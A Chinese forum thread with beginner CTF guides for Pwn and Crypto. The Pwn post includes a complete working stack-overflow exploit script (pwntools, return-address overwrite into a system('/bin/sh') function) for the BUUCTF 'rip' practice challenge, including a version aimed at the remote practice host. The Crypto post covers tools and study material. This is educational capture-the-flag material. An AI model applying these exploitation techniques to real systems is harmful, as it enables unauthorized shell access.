CTF:从0到1 -> zero2one
web的建议ctf/src/code 齐头并进
- 已编辑
萌新PWN手来补充一下[PWN]从0到0.00001
Pwn的简介
Pwn是CTF方向中的一种,主要是利用二进制漏洞从而获得getShell(提权),即获得对方系统权限,从而控制对方电脑。
Pwn是一个黑客语法的俚语词,自"own"这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的 情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:"You just got pwned!")。
名词储备:writeup(指CTF中解题思路过程的文档),exp(exploit,指漏洞利用程序),栈,汇编,Linux等
Pwn的理论工具准备
初学
工具
- Python 2.x 至于为什么不用python3后面会讲到
- Linux Windows用户推荐wsl2或虚拟机,MacOS不太清楚
- IDA pro 一个逆向分析工具
- Pwntools 一个漏洞利用框架工具
- checksec ELF保护分析工具(貌似Pwntool自带?)
储备知识
- C语言
- 基础Python2语言,及库的用法
- 源/伪代码阅读和BUG漏洞寻找能力
- 基础Linux命令
以上可以进行简单的栈溢出的学习
入门
工具
- pwndbg gdb动态调试插件
- Libcsearcher 集成libc查找工具
- one_gadget 一句话提权指令搜索工具
- ROPgadget rop指令流搜索
储备知识
- C/C++语言
- 基础Python2语言,及库的用法
- ELF文件结构
- 深度理解计算机系统(CSAPP)初步
加上以上的可以更方便的学习进阶栈溢出、堆利用等知识
Pwn的学习
初学-从Writeup中学习
网站推荐
- Xctf攻防世界 站内内置writeup,但最近pwn环境无法分发
- Bugku pwn环境可以分发,但需要自行查找writeup,题量少
- buuctf pwn环境可以分发,有N1BOOK配套习题(但好像环境坏了?),比赛真题,题量大,但需要自行查找writeup
入门-从比赛中学习
参加比赛,利用比赛同时练习技术,这样可以更好的抓住比赛的中pwn的热点,也可以培养随机应变的能力。
Pwn的环境准备
由于没有尝试过MacOS上pwn
所以只有Windows的教程
Windows
- 安装WSL2(子系统) https://docs.microsoft.com/zh-cn/windows/wsl/install-win10
- 在WSL中安装Python2 https://www.cnblogs.com/dancesir/p/14201267.html
- 在WSL中安装pwntools等库https://docs.pwntools.com/en/latest/install.html
- 在WSL中安装checksec https://www.cnblogs.com/luocodes/p/13894106.html
- 选择一个你喜欢的IDE,强推VSCode
在Vscode中配置Pwn中环境
在Vscode中Pwn
1.右键-在Vscode中打开文件夹
2.左下角点击><旋转Reopen Folder in WSL (这个尝试过编写exp时没有代码提示,可以在windows上先装python2和pwntools,在windows上编写exp,然后再Linux上运行,即跳过此步骤)
Pwntools的学习
官方文档https://docs.pwntools.com/en/latest/intro.html
简易快速入门
导入Pwntools
from pwn import *
链接
r = remote("目标地址str类型", 目标端口int类型)
与服务器交互
r = process("目标程序位置")
与本地程序交互
构造playload之打包
p64(int)
将int类型打包成64位存储
p32(int)
将int类型打包成32位存储
发送
r.sendline(playload)
发送playload为一行(自动在尾部加上\n)
接收
r.recv()
接收到结束
r.recvuntil(end, drop=True)
end(str)接受到end之后截至,drop=True时不包括end,drop=False时包括end
打开交互
r.interactive()
一般在末尾都要加
Pwn的做题流程
- 使用checksec检查ELF文件保护开启的状态
- IDApro逆向分析程序漏洞(逻辑复杂的可以使用动态调试)
- 编写python的exp脚本进行攻击
- (若攻击不成功)进行GDB动态调试,查找原因
- (若攻击成功)获取flag,编写Writeup
注:此做题流程并不完全概括,需要具体情况具体分析
Pwn的简单例子
题目来源【BUUCTF PWN】rip
checksec
64位,导入IDA 64,找到main函数,按F5或是Tab
分析函数及漏洞
main函数
main函数中存在gets(无限读入字符串漏洞),没有开canary可以自由栈溢出
双击s变量,进入main函数栈区
发现s参数位置距离main函数返回地址距离是0xF+0x8个字节
(位于000000000处的s是存上一个ebp的值,用于恢复上一个函数,位于0000000008处的r是这个函数的返回地址)
只需要覆盖返回地址r,使它变成我们想要的函数地址,就可以劫持程序,让程序执行完main就执行我们想要的函数(这个题目就是fun函数)。
fun函数
system函数可以执行命令,/bin/sh是执行Linux的命令行程序,也就是可以getshell(提权)
按Tab+Space
查看fun函数的开始地址(图中0x0401186位置)
编写exp
from pwn import *
r = process('./pwn1') # 调试时使用本地链接
p1 = "a"*(0xf + 0x8) + p64(0x0401186)
# 覆盖到r前面之后,将0x0401186打包,覆盖main函数返回地址
r.sendline(p1) # 发送playload
r.interactive() # 开启交互
运行
并没有打通
需要平衡栈帧(初学可以跳过这个,直接记住结论)
即需要多return一次
x86汇编中 ret的指令类似于 先pop(弹出)一个值然后jmp(跳转)到这个值的位置继续执行
所以寻找一个ret的地址
在main函数的结尾就有个retn
故修改exp
from pwn import *
r = process('./pwn1') # 调试时使用本地链接
p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)
# 覆盖到r前面之后,先覆盖main函数返回地址为retn,再将0x0401186打包,覆盖retn的返回地址
r.sendline(p1) # 发送playload
r.interactive() # 开启交互
发现ls
(linux中查看当前文件夹内容的命令)命令可以执行
再修改exp链接靶机
from pwn import *
r = remote("node3.buuoj.cn", 29885) # 正式攻击时与靶机交互
# r = process('./pwn1')
p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)
r.sendline(p1)
r.interactive()
再次运行
获取flag
cat
(linux中直接输出文件内容的命令)
到此就可以庆祝一下提交flag了
编写Writeup
提交完flag之后别忘了编写Writeup,Writeup是指记录解题思路的文档,一个小队开一个公共编辑的文档,一旦做出来题目就要将解题思路、exp、部分截图写入文档,因为一般赛事最后需要提交Writeup,以确保你不是py得到的flag
Pwn的常见漏洞
栈溢出
gets();
无限字符读入\n停止scanf("%s");
无限字符读入\n停止read(0,buf,0x200);
buf位置到返回地址距离小于0x200
数组下标溢出
- 没有判断上界或下界,配合读入或输出,可以任意位置读入或输出
格式化字符串
- 主要利用
printf
的格式化字符串漏洞,实现栈区内读写
堆利用
- UAF(Use After Free)
- 劫持__malloc_hook
- 修改__IO_1_2_stdout
小结
- 学习Pwn不仅有利于网安方向的同学,还有利于搞开发等同学,因为可以接触更加底层的东西,提高自己网络安全意识
- 刚开始学习Pwn是摸着黑,照猫画虎的,只有不断的理解原理才能独立想出解题方法
- 为什么不使用Python3?因为这是个坑,我刚开始尝试的是后就因为python3多了个bytes类型,导致p64()的结果不能直接与str相加,而其中有很多不可见字符,最终放弃了Python3。Python2中bytes值以str形式存储的可以直接与str相加。
- Pwn的世界错综复杂,我依然还在摸索,一起加油。
大佬66666
- 已编辑
萌新密码手来补充一下[Crypto]从0到0.00001
0. Crypto简介
如图所示
P.S. 不仅仅古典密码需要代换和置换哦,但为了MindMap美观我就这样画了
1.常用工具:
下面列举的工具不一定是必须的,但如果有时间可以都安装一遍,因为学计算机需要”折腾“
没给超链接的请自行搜索下载
如果下载中遇到问题,可自行搜索解决方法或者在相关群上问
1.1. Python
做crypto题最常用的编程语言(可能没有之一
建议 Python3 和 Python2 都安装
个人目前使用频率比较高的是Python3
1.1.1.常用的python库
Crypto
libnum
gmpy2
random
hashlib
pwn
1.2. sagemath
官方简介:
SageMath 是一个基于GPL协议的开源数学软件。它使用Python作为通用接口,将现有的许多开源软件包整合在一起,构建一个统一的计算平台。
我们的目标:创建一个有活力的自由开源软件以替代Magma,Maple,Mathematica和Matlab。
密码学离不开数学,一个功能超完善的计算平台对一个密码手来说无疑是很有吸引力的(意味着很多算法和相关代数结构不需要自己费心去写了
官网/下载渠道:
SageMath - Open-Source Mathematical Software System
Linux也可以使用命令行安装:
sudo apt install sagemath-jupter
1.2.1 常用的sage命令
#求最大公因子/乘法逆元
gcd(a,b)
xgcd(e,phi)
#解方程
var('p q')
f1 = #p和q的相关等式 == #得数
f2 = #p和q的相关等式 == #得数
solve([f1,f2],p2,q2)
#构造矩阵/LLL算法
A = matrix([[1,h],[0,p]])
lll = A.LLL()
除此以外,还可以通过编写后缀名为.sage的文件(同时支持python和sagemath语法)来运行相关解题脚本
编写完以后在命令行输入(我只在linux试过,windows不知道行不行)
sage xxx.sage
运行
1.3. Linux
Windows用户推荐wsl2或虚拟机,MacOS不太清楚
1.4. yafu
用于分解大整数,例如:
.\yafu-x64.exe "factor(6)"
类似功能的网站有
factordb.com
1.5.openSSL
遇到题目附件的后缀名奇奇怪怪的,可能就需要用到这个了
1.6. 一些解题相关网页
上面提到的分解大整数的factordb.com
还有词频分析、编码解码、RSA解题套路整合等等……
(链接就不贴了,做题过程中收集就足够了,也可以私聊我要)
2.储备知识
先推荐一些书:
①《具体数论与代数》
强推!
大名鼎鼎的CINTA!
bintou老师的大作!
华师网工大二上学期的专业选修”面向信息时代的计算机数学“的教材!
里面涉及的数学知识和代码都非常友好,必看必看,常看常新。
可以自学,不懂可以线上问我(不能线下问的原因是有些点我也忘了,需要时间自己过一遍)
冲冲冲
②《图解密码技术》
密码学科普类书籍,挺好看的,可以用于培养兴趣
③《密码编码学与网络安全》
华师网工大三上学期的专业选修”计算机安全学“的教材
大部头书,想系统了解密码学的可以看
下面列举下做crypto可能用到的知识或者算法,具体内容可以通过看上面的书/上网搜索 等方式学习
2.1.数学
密码学离不开数学。
因为加密与解密离不开计算机,而计算机本质上是一个离散结构,只能处理离散的数量关系,所以离散数学不可或缺。
离散数学是非常大的一块,CTF crytpo题中常涉及的是数论和抽象代数
比如:
威尔逊定理
欧拉定理
费马小定理
中国剩余定理(CRT)
拓展中国剩余定理(extend CRT)
还有群环域格等代数结构及其相关内容
2.2.密码算法及其相关
首先是一些入门的编码:ASCII,base64等……
值得一提的是,Crypto库里的 bytes_to_long 和 long_to_bytes 很常用,萌新们务必搞清楚它在做什么
然后是古典密码,比如摩尔斯电码,栅栏密码、凯撒密码、猪圈秘密、棋盘密码、培根密码、维吉尼亚密码等很多,还有一些XXencode、UUencode、brainfuck等知道了就肯定会的靠经验的密码或编码,这些网上都能找到
再之后是RC4,DES,AES, 哈希,DH密钥交换,RSA,ECC,格密码等等
……
crypto常用算法有:
线性同余方法(lcg)
欧几里得算法(gcd)
拓展欧几里得算法(extend gcd)
小步大步算法(bsgs)
拓展小步大步算法(extend bsgs)
费马因式分解
CopperSmith方法
等等……
3.做题Tips
做题的时候
首先从标题、描述、附件等判断是哪一类的密码,然后再对症下药
萌新上路可以从常见的编码和古典密码开始,之后就可以涉猎对称和非对称了。
对称密码的话,AES及其五种工作模式(ECB,CBC,CFB,OFB,CTR)是绕不开的;非对称的话肯定是从RSA开始了。
题目附件里的代码常有如下字样
from secret import flag
可以理解成出题人把flag藏在secret这个私有库里了,这样的代码不能直接运行(所以不要傻傻地下载所谓的secret库然后运行它),
而需要做题人通过分析代码里面的加密方式还原出flag
在某些题目中,虽然代码本身运行不了,但是某些函数却可以利用(术语:oracle),解密时可以直接挪用到自己的解题脚本上运行。
4.小结
•没事多搜索
•克服畏难心理,很多题不需要完全懂里面的数学原理也能做
•平时多收集各类脚本/网页,解题事半功倍
•兴趣是最好的老师,心情次之。没有兴趣或许可以换个方向:-),没心情做题可以歇会
•某些杂项题和密码题只涉及词频分析、编码、古典密码、流密码,少有对数理知识和读写代码能力的要求,但却很考验大家的脑洞,而个人的脑洞是有限的,所以建议团队协作